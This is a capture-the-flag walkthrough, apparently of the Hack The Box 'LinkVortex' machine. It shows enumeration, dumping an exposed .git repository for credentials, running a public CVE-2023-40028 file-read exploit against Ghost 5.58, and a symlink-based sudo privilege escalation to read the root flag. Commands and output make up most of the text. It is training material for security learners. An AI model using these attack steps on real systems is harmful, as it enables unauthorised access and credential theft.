Let's start by setting the target IP address:
$ export IP=10.10.11.47
We begin with an initial enumeration of the target using Nmap.
The following Nmap scan was performed to identify open services:
$ nmap -sV -Pn $IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-01 09:03 EDT
Nmap scan report for 10.10.11.47
Host is up (0.075s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.93 seconds
The scan revealed the following open services:
We begin by identifying the Apache HTTP service running on port 80.
Using whatweb
to probe the target, we find the following:
$ whatweb $IP
http://10.10.11.47 [301 Moved Permanently] Apache, Country[RESERVED][ZZ], HTTPServer[Apache], IP[10.10.11.47], RedirectLocation[http://linkvortex.htb/], Title[301 Moved Permanently]
The server is redirecting to http://linkvortex.htb/
. To continue with the enumeration, we add this hostname to the /etc/hosts
file:
$ echo $IP linkvortex.htb | sudo tee -a /etc/hosts
Now, querying the redirected URL using whatweb
:
$ whatweb http://linkvortex.htb
http://linkvortex.htb [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache], IP[10.10.11.47], JQuery[3.5.1], MetaGenerator[Ghost 5.58], Open-Graph-Protocol[website], PoweredBy[Ghost,a], Script[application/ld+json], Title[BitByBit Hardware], X-Powered-By[Express], X-UA-Compatible[IE=edge]
The website is powered by Ghost, a popular open-source platform for publishing content.
We navibgate the site, and find the site has posts made by the admin
user.
After reviewing the Ghost documentation, we discovered that the admin login page is located at http://linkvortex.htb/ghost/ and is accessible.
We now enumerate potential directories and subdomains using dirsearch
and gobuster
.
linkvortex.htb
Running dirsearch
on linkvortex.htb
:
$ dirsearch -u linkvortex.htb -x 404
Output shows several interesting results, including a /LICENSE
file, /robots.txt
, and a sitemap:
[09:23:05] Starting:
[09:23:28] 301 - 179B - /assets -> /assets/
[09:23:29] 301 - 0B - /axis//happyaxis.jsp -> /axis/happyaxis.jsp/
[09:23:35] 301 - 0B - /engine/classes/swfupload//swfupload.swf -> /engine/classes/swfupload/swfupload.swf/
[09:23:41] 200 - 15KB - /favicon.ico
[09:23:48] 200 - 1KB - /LICENSE
[09:24:01] 200 - 103B - /robots.txt
[09:24:02] 403 - 199B - /server-status/
[09:24:02] 403 - 199B - /server-status
[09:24:03] 200 - 253B - /sitemap.xml
Next, we perform virtual host enumeration using gobuster
:
$ gobuster vhost -u http://linkvortex.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain -t 10
...
We discover a new subdomain: dev.linkvortex.htb
.
We add the subdomain to the /etc/hosts
file:
$ echo $IP dev.linkvortex.htb | sudo tee -a /etc/hosts
dev.linkvortex.htb
Finally, we run dirsearch
on the new subdomain:
$ dirsearch -u dev.linkvortex.htb -x 404,403
This reveals the presence of a .git
directory, which is often a useful target for information gathering:
[09:43:53] 200 - 557B - /.git/
[09:43:53] 200 - 201B - /.git/config
[09:43:53] 200 - 41B - /.git/HEAD
[09:43:53] 200 - 73B - /.git/description
[09:43:53] 200 - 620B - /.git/hooks/
[09:43:53] 200 - 402B - /.git/info/
[09:43:53] 200 - 240B - /.git/info/exclude
[09:43:53] 200 - 175B - /.git/logs/HEAD
[09:43:53] 200 - 401B - /.git/logs/
[09:43:53] 200 - 418B - /.git/objects/
[09:43:53] 200 - 147B - /.git/packed-refs
[09:43:53] 200 - 393B - /.git/refs/
[09:43:53] 301 - 249B - /.git/refs/tags -> http://dev.linkvortex.htb/.git/refs/tags/
[09:43:56] 200 - 691KB - /.git/index
This .git
directory may contain sensitive information, such as commit history or configurations that could help further exploitation.
The HTTP server contains a .git
repository. We attempt to extract its contents using git_dump
.
$ python git_dumper.py http://dev.linkvortex.htb/ git
[-] Testing http://dev.linkvortex.htb/.git/HEAD [200]
[-] Testing http://dev.linkvortex.htb/.git/ [200]
<SNIP>
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 5596 paths from the index
After dumping the repository, we proceed to explore the files.
We examine the Dockerfile
used for the Ghost deployment:
cat Dockerfile.ghost
FROM ghost:5.58.0
# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json
# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb
# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh
ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]
The Dockerfile reveals that the server runs Ghost 5.58.0, and it includes a custom entry point and configuration for the application.
We search for known vulnerabilities and identify CVE-2023-40028, which allows for arbitrary file reading on the server. However, exploiting this vulnerability requires valid admin credentials.
We'll keep this vulnerability in mind in case we need it later.
To further investigate, we run Gitleaks to detect any secrets in the repository:
$ gitleaks dir -v
○
│╲
│ ○
○ ░
░ gitleaks
Finding: const API_KEY = 'b30afc1721f5d8d021ec3450ef'
<SNIP>
Finding: const password = 'OctopiFociPilfer45'
Secret: OctopiFociPilfer45
RuleID: generic-api-key
Entropy: 3.683542
File: ghost/core/test/regression/api/admin/authentication.test.js
Line: 56
Fingerprint: ghost/core/test/regression/api/admin/authentication.test.js:generic-api-key:56
<SNIP>
8:22AM INF scanned ~25236524 bytes (25.24 MB) in 2.77s
8:22AM WRN leaks found: 25
Gitleaks finds several potential secrets, including an exposed password: OctopiFociPilfer45
.
We attempt to log in to the Ghost admin page at http://linkvortex.htb/ghost/
. Using the admin account credentials (admin@linkvortex.htb
as the email and OctopiFociPilfer45
as the password), we successfully gain access to the admin interface.
This provides us with administrative control over the Ghost instance.
We attempt to exploit the previously identified CVE-2023-40028 vulnerability for Ghost 5.58.
$ git clone https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028
$ cd Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028
$ ./CVE-2023-40028 -u admin@linkvortex.htb -p OctopiFociPilfer45 -h http://linkvortex.htb
WELCOME TO THE CVE-2023-40028 SHELL
Enter the file path to read (or type 'exit' to quit): /etc/passwd
We are able to read the contents of the /etc/passwd
file:
File content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
...
Next, we use the same tool to read the Ghost configuration file located at /var/lib/ghost/config.production.json
(see Dockerfile):
Enter the file path to read (or type 'exit' to quit): /var/lib/ghost/config.production.json
Here’s the content of the configuration file:
{
"url": "http://localhost:2368",
"server": {
"port": 2368,
"host": "::"
},
"mail": {
"transport": "Direct"
},
"logging": {
"transports": ["stdout"]
},
"process": "systemd",
"paths": {
"contentPath": "/var/lib/ghost/content"
},
"spam": {
"user_login": {
"minWait": 1,
"maxWait": 604800000,
"freeRetries": 5000
}
},
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"
}
}
}
}
We observe that the configuration file contains credentials for the bob user, specifically for the email bob@linkvortex.htb
with the password fibber-talented-worth
.
We attempt to SSH into the server using these credentials:
$ ssh bob@linkvortex.htb
Success! We gain access to the server as the bob user.
bob@linkvortex:~$ whoami
bob
We retrieve the user flag:
bob@linkvortex:~$ cat user.txt
<user flag>
At this point, we have successfully obtained a foothold on the system as the bob user.
After gaining access to the bob user, we check for any available sudo privileges.
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
The output shows that bob can run the script /opt/ghost/clean_symlink.sh
with sudo privileges without a password prompt, but only for files with the .png
extension. Let's inspect the contents of this script.
bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
The script checks if the provided argument is a symbolic link to a .png
file. If the link points to a sensitive file (e.g., inside /etc
or /root
), the script removes it. Otherwise, it moves the link to a quarantine directory and, if the CHECK_CONTENT
variable is set to true
, it attempts to display the contents of the linked file.
We can exploit this by creating a symbolic link (a.txt
) to the root flag (/root/root.txt
), then creating a second symbolic link with the .png
extension (a.png
) pointing to the first symbolic link (a.txt
) to bypass the script’s checks.
We first create the symbolic link to the root flag and then create a second .png
symbolic link that points to it.
bob@linkvortex:~$ rm a.txt
bob@linkvortex:~$ ln -s /root/root.txt a.txt # Link to the root flag
bob@linkvortex:~$ ln -s /home/bob/a.txt a.png # Create a .png symbolic link pointing to it
Next, we set the CHECK_CONTENT
variable to true
and execute the script using sudo
.
bob@linkvortex:~$ export CHECK_CONTENT=true
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
Link found [ a.png ], moving it to quarantine
Content:
<root flag>
We successfully exploited a sudo misconfiguration in the script /opt/ghost/clean_symlink.sh
. By creating symbolic links to sensitive files (such as the root flag), we were able to read the contents of /root/root.txt
using the script's behavior.
This exploitation process demonstrates the impact of seemingly minor vulnerabilities, like arbitrary file read, outdated applications, and sudo misconfigurations, which can lead to complete system compromise.
Key takeaways: